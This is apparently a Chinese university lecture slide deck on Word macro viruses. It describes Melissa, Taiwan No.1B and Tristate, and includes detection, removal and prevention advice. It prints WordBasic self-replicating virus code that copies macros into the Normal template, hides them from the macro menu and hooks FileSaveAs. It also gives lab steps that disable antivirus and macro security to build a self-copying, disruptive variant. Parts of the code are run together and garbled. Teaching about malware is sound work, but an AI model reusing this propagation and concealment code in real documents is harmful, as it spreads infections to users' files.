资源描述
宏病毒,上海交通大学信息安全工程学院刘功申,本章的学习目标,掌握宏病毒概念掌握宏病毒制作机制了解宏病毒实例掌握宏病毒防范方法掌握宏病毒实验,宏病毒定义,宏病毒是利用系统的开放性专门制作的一个或多个具有病毒特点的宏的集合,这种病毒宏的集合影响到计算机的使用,并能通过文档及模板进行自我复制及传播。,支持宏病毒的应用系统特点,要达到宏病毒传染的目的,系统须具备以下特性:可以把特定的宏命令代码附加在指定文件上;可以实现宏命令在不同文件之间的共享和传递;可以在未经使用者许可的情况下获取某种控制权。,可支持宏病毒的应用系统,Microsoft公司的WORD、EXCEL、Access、PowerPoint、Project、Visio等产品;Inprise公司的LotusAmiPro字处理软件;此外,还包括AutoCAD、CorelDraw、PDF等等。,宏病毒的特点,传播极快制作、变种方便破坏可能性极大多平台交叉感染地域性问题,宏病毒的共性,宏病毒会感染DOC文档文件和DOT模板文件。打开时激活,通过Normal模板传播。通过AutoOpen,AutoClose,AutoNew和AutoExit等自动宏获得控制权。病毒宏中必然含有对文档读写操作的宏指令。,宏病毒的作用机制,模板在建立整个文档中所起的作用是作为一个基类。新文档继承模板的属性(包括宏、菜单、格式等)。编制宏病毒要用到的宏如右表,Word宏病毒感染过程编制语言VBAWordBasic等环境:VBE,经典宏病毒-美丽莎Melissa,利用微软的Word宏和Outlook发送载有80个色情文学网址的列表它可感染Word97或Word2000,是一种Word宏病毒当用户打开一个受到感染的Word97或Word2000文件时,病毒会自动通过被感染者的Outlook的通讯录,给前50个地址发出带有W97M_MELISSA病毒的电子邮件。,染毒现象:信箱中将可以看到标题为“ImportantmessagefromXX(来自XX的重要信息)”的邮件,其中XX是发件人的名字。正文中写道,“这是你索要的文件不要给其他人看;)。”此外,该邮件还包括一个名为list.doc的Word文档附件,其中包含大量的色情网址。,经典宏病毒-台湾NO.1B,病毒发作时,只要打开一个Word文档,就会被要求计算一道5个至多4位数的连乘算式。由于算式的复杂度,很难在短时间内计算出答案,一旦计算错误,Word就会自动开启20个新窗口,然后再次生成一道类似的算式,接着不断往复,直至系统资源耗尽。,经典宏病毒-O97M.Tristate.C病毒,O97M.Tristate.C宏病毒可以交叉感染MSWord97、MSExcwel97和MSPowerPoint97等多种程序生成的数据文件。病毒从Word文档、Excel电子表格或PowerPoint幻灯片被激活,并进行交叉感染。病毒在Excel中被激活时,它在ExcelStartup目录下查找文档BOOK1.XLS,如果不存在,病毒将在该目录下创建一个被感染的工作簿并使Excel的宏病毒保护功能失效。病毒存放在被感染的电子表格的“ThisWorkbook”中。,宏语言,Office程序和它们所使用的宏语言,使用VBA可以实现的功能包括:(1)使重复的任务自动化(2)自定义Word工具栏、菜单和界面(3)简化模板的使用(4)自定义Word,使其成为开发平台,宏病毒关键技术,(1)自动执行的示例代码:SubMAINOnErrorGotoAbortiMacroCount=CountMacros(0,0)检查是否感染该文档文件Fori=1ToiMacroCountIfMacroName$(i,0,0)=PayLoadThenbInstalled=-1,检查正常的宏EndIfIfMacroName$(i,0,0)=FileSaveAsThenbTooMuchTrouble=-1但如果FILESAVEAS宏存在那么传染比较困难.EndIfNextiIfNotbInstalledAndNotbTooMuchTroubleThen,加入FileSaveAs和拷贝到AutoExecandFileSaveAs.有效代码不检查是否感染.把代码加密使不可读.iWW6IInstance=Val(GetDocumentVar$(WW6Infector)sMe$=FileName$()Macro$=sMe$+:PayLoadMacroCopyMacro$,Global:PayLoad,1Macro$=sMe$+:FileOpenMacroCopyMacro$,Global:FileOpen,1Macro$=sMe$+:FileSaveAsMacroCopyMacro$,Global:FileSaveAs,1Macro$=sMe$+:AutoExecMacroCopyMacro$,Global:AutoExec,1SetProfileStringWW6I,Str$(iWW6IInstance+1)EndIfAbort:EndSub,VBA使用的保护方法?,(2)SaveAs程序:这是一个当使用FILE/SAVEAS功能时,拷贝宏病毒到活动文本的程序。它使用了许多类似于AutoExec程序的技巧。尽管示例代码短小,但足以制作一个小巧的宏病毒。SubMAINDimdlgAsFileSaveAsGetCurValuesdlgDialogdlg,If(Dlg.Format=0)Or(dlg.Format=1)ThenMacroCopyFileSaveAs,WindowName$()+:FileSaveAsMacroCopyFileSave,WindowName$()+:FileSaveMacroCopyPayLoad,WindowName$()+:PayLoadMacroCopyFileOpen,WindowName$()+:FileOpenDlg.Format=1EndIfFileDaveAsdlgEndSub,(3)特殊代码:还有些方法可以用来隐藏和使你的宏病毒更有趣。当有些人使用TOOLS/MICRO菜单观察宏时,该代码可以达到掩饰病毒的目的。SubMAINOnErrorGotoErrorRoutineOldName$=NomFichier$()Ifmacros.bDebugThenMsgBoxstartToolsMacroDimdlgAsOutilsMacroIfmacros.bDebugThenMsgBox1GetCurValuesdlgIfmacros.bDebugThenMsgBox2OnErrorGotoSkipDialogdlgOutilsMacrodlg,Skip:OnErrorGotoErrorRoutineEndIfREMenableautomacrosDisableAutoMacros0macros.SaveToGlobal(OldName$)macros.objectiveGotoDoneErrorRoutine:OnErrorGotoDoneIfmacros.bDebugThenMsgBoxerror+Str$(Err)+occurredEndIfDone:EndSub,Word宏病毒发现方法,在Normal模板发现有AutoOpen等自动宏,FileSave等标准宏或一些怪名字的宏,而自己又没有加载特殊模板,这就有可能有病毒了。当打开一个文档时,未经任何改动,立即就有存盘操作打开以DOC为后缀的文件在另存菜单中只能以模板方式存盘无法使用“另存为(SaveAs)”修改路径不能再被转存为其它格式的文件DOC文件具备与DOT文档相一致的内部格式(尽管文件扩展名未改变)。,手工清除宏病毒的方法,1打开宏菜单,在通用模板中删除您认为是病毒的宏。2打开带有病毒宏的文档(模板),然后打开宏菜单,在通用模板和病毒文件名模板中删除您认为是病毒的宏。3保存清洁文档。,预防宏病毒,对于已染毒的模板文件(Normal.dot),应先其中的自动宏清除(AutoOpen、AutoClose、AutoNew),然后将其置成只读方式。对于其他已染毒的文件均应将自动宏清除,这样就可以达到清除病毒的目的。平时使用时要加强预防。对来历不明的宏最好删除。先禁止所有自动执行的宏。安装反病毒软件。,Word宏病毒实验,【实验目的】演示宏的编写说明宏的原理及其安全漏洞和缺陷理解宏病毒的作用机制【实验平台】Windows系列操作系统Word2003应用程序,【实验步骤】软件设置:关闭杀毒软件的自动防护功能。打开Word2003,在工具宏安全性中,将安全级别设置为低,在可靠发行商选项卡中,选择信任任何所有安装的加载项和模板,选择信任visualbasic项目的访问。,实验八:自我复制功能演示。打开一个word文档,然后按Alt+F11调用宏编写窗口(工具宏VisualBasic宏编辑器),在左侧的projectMicrosoftWord对象ThisDocument中输入源代码(参见源代码一或者从光盘上拷贝,位置为:“光盘盘符:Experimentmacromacro_1.txt”),保存。此时当前word文档就含有宏病毒,只要下次打开这个word文档,就会执行以上代码,并将自身复制到Normal.dot(word文档的公共模板)和当前文档的ThisDocument中,同时改变函数名(模板中为Document_Close,当前文档为Document_Open)。此时所有的word文档打开和关闭时,都将运行以上的病毒代码,可以加入适当的恶意代码,影响word的正常使用,本例中只是简单的跳出一个提示框。,实验九:类台湾1号病毒实验对实验一的恶意代码稍加修改,使其具有一定的破坏性(这里以著名宏病毒“台湾1号”的恶意代码部分为基础,为使其在word2003版本中运行,且降低破坏性,对源代码作适当修改)。实验二的源码参见源代码二或者从光盘上拷贝,位置为:“光盘盘符:Experimentmacromacro_2.txt”。,该病毒的效果如下:当打开被感染的word文档时,首先进行自我复制,感染word模板,然后检查日期,看是否是1日(即在每月的1日会发作),然后跳出一个对话框,要求用户进行一次心算游戏,这里只用四个小于10的数相乘,如果用户的计算正确,那么就会新建一个文档,跳出如下字幕:“何谓宏病毒,答案:我就是.;如何预防宏病毒,答案:不要看我.”。如果计算错误,新建20个写有“宏病毒”字样的word文档,然后再一次进行心算游戏,总共进行3次,然后跳出程序。关闭文档的时候也会执行同样的询问。,清除宏病毒对每一个受感染的word文档进行如下操作:打开受感染的word文档,进入宏编辑环境(Alt+F11),打开NormalMicrosoftWord对象ThisDocument,清除其中的病毒代码(只要删除所有内容即可)。然后打开ProjectMicrosoftWordThisDocument,清除其中的病毒代码。实际上,模板的病毒代码只要在处理最后一个受感染文件时清除即可,然而清除模板病毒后,如果重新打开其他已感染文件,模板将再次被感染,因此为了保证病毒被清除,可以查看每一个受感染文档的模板,如果存在病毒代码,都进行一次清除。,谢谢Q&A,
展开阅读全文